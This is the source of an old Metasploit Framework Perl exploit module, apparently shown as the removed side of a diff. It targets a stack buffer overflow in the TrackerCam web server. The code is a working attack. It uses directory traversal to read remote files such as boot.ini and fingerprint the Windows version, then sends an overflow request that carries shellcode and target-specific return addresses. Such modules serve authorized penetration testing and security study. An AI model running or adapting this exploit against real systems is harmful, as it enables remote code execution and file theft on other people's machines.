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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::trackercam_phparg_overflow;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'TrackerCam PHP Argument Buffer Overflow',
- 'Version' => '$Revision: 1.5 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32'],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'thread' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 8090],
- },
-
- 'Payload' =>
- {
- 'Space' => 2048,
- 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a simple stack overflow in the TrackerCam web
- server. All current versions of this software are vulnerable to a large
- number of security issues. This module abuses the directory traversal
- flaw to gain information about the system and then uses the PHP overflow
- to execute arbitrary code.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '13953'],
- ['OSVDB', '13955'],
- ['CVE', '2005-0478'],
- ['BID', '12592'],
- ['URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
- ['MIL', '69'],
- ],
-
- 'Targets' =>
- [
-
- # EyeWD.exe has a null and we can not use a partial overwrite.
- # All of the loaded application DLLs have a null in the address...
- # Except CPS.dl, which moves around between instances.
-
- # Windows XP SP2 and Windows 2003 are not supported yet :-/
-
- ['Windows 2000 English', 0x75022ac4 ], # ws2help.dll
- ['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll
- ['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll
- ],
-
- 'Keys' => ['trackercam'],
-
- 'DisclosureDate' => 'Feb 18 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $s = $self->Connect;
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $self->PrintLine("[*] Querying the remote web server...");
-
- my $path = "/tuner/ComGetLogFile.php3?fn=../HTTPRoot/socket.php3";
- my $req = "GET $path HTTP/1.0\r\n\r\n";
-
- $s->Send($req);
- my $res = $s->Recv(-1, 5);
- $s->Close;
-
- if ($res =~ /fsockopen/) {
- $self->PrintLine("[*] Vulnerable TrackerCam instance discovered");
- $self->Fingerprint();
- return $self->CheckCode('Confirmed');
- }
-
- $self->PrintLine("[*] This TrackerCam service appears to be patched");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $s = $self->Connect;
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $bang = Pex::Text::EnglishText(8192);
-
- # Simple as pie.
- substr($bang, 257, 4, pack('V', $target->[1]));
- substr($bang, 253, 2, "\xeb\x06");
- substr($bang, 261, length($shellcode), $shellcode);
-
- my $data = "GET /tuner/TunerGuide.php3?userID=$bang HTTP/1.0\r\n\r\n";
-
- $self->PrintLine("[*] Sending " .length($data) . " bytes to remote host.");
- $s->Send($data);
- $s->Recv(-1, 5);
-
- return;
- }
-
- # Uses the directory traversal vulnerability to detect the remote OS version
- sub Fingerprint {
- my $self = shift;
- my $data = $self->DownloadFile('nobody.txt');
-
- if (! $data ) {
- $self->PrintLine("[*] Download failed for remote test file");
- return;
- }
-
- my ($path) = $data =~ m/in <b>(.*)<\/b> on line/smi;
- $self->PrintLine("[*] Install path: $path") if $path;
-
- if (uc(substr($path, 0, 1)) ne 'C') {
- $self->PrintLine("[*] TrackerCam is probably not installed on the system drive");
- }
-
- if ($data !~ /Program Files/) {
- $self->PrintLine("[*] TrackerCam is installed in a non-standard location");
-
- }
-
- $data = $self->DownloadFile('boot.ini');
- if (! $data ) {
- $self->PrintLine("[*] Download failed for remote boot.ini file");
- return;
- }
-
- # Windows XP SP2
- if ($data =~ /Windows XP.*NoExecute/i) {
- $self->PrintLine("[*] Detected Windows XP SP2");
- return 'WinXPSP2';
- }
-
- if ($data =~ /Windows XP/) {
- $self->PrintLine("[*] Detected Windows XP SP0-SP1");
- return 'WinXPSP01';
- }
-
- if ($data =~ /Windows.*2003/) {
- $self->PrintLine("[*] Detected Windows 2003 Server");
- return 'Win2003';
- }
-
- if ($data =~ /Windows.*2000/) {
- $self->PrintLine("[*] Detected Windows 2000");
- return 'Win2000';
- }
-
- $self->PrintLine("[*] Could not identify this system");
- return;
- }
-
- sub DownloadFile {
- my $self = shift;
- my $file = shift;
-
- my $s = $self->Connect;
- return if $s->IsError;
-
- my $path = "/tuner/ComGetLogFile.php3?fn=../../../../../../../../../$file";
- my $req = "GET $path HTTP/1.0\r\n\r\n";
-
- $s->Send($req);
- my $res = $s->Recv(8192, 5);
- $s->Close;
-
- return if ($res !~ /tuner\.css/ || $res !~ /\<pre\>/ );
-
- my ($data) = $res =~ m/<pre>(.*)/smi;
- $data =~ s/<\/pre><\/body>.*//g if $data;
-
- return $res if ! $data;
- return $data;
- }
-
- sub Connect {
- my $self = shift;
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $self->GetVar('RHOST'),
- 'PeerPort' => $self->GetVar('RPORT'),
- 'SSL' => $self->GetVar('SSL'),
- 'LocalPort' => $self->GetVar('CPORT'),
- );
- return $s;
- }
-
- 1;
-
-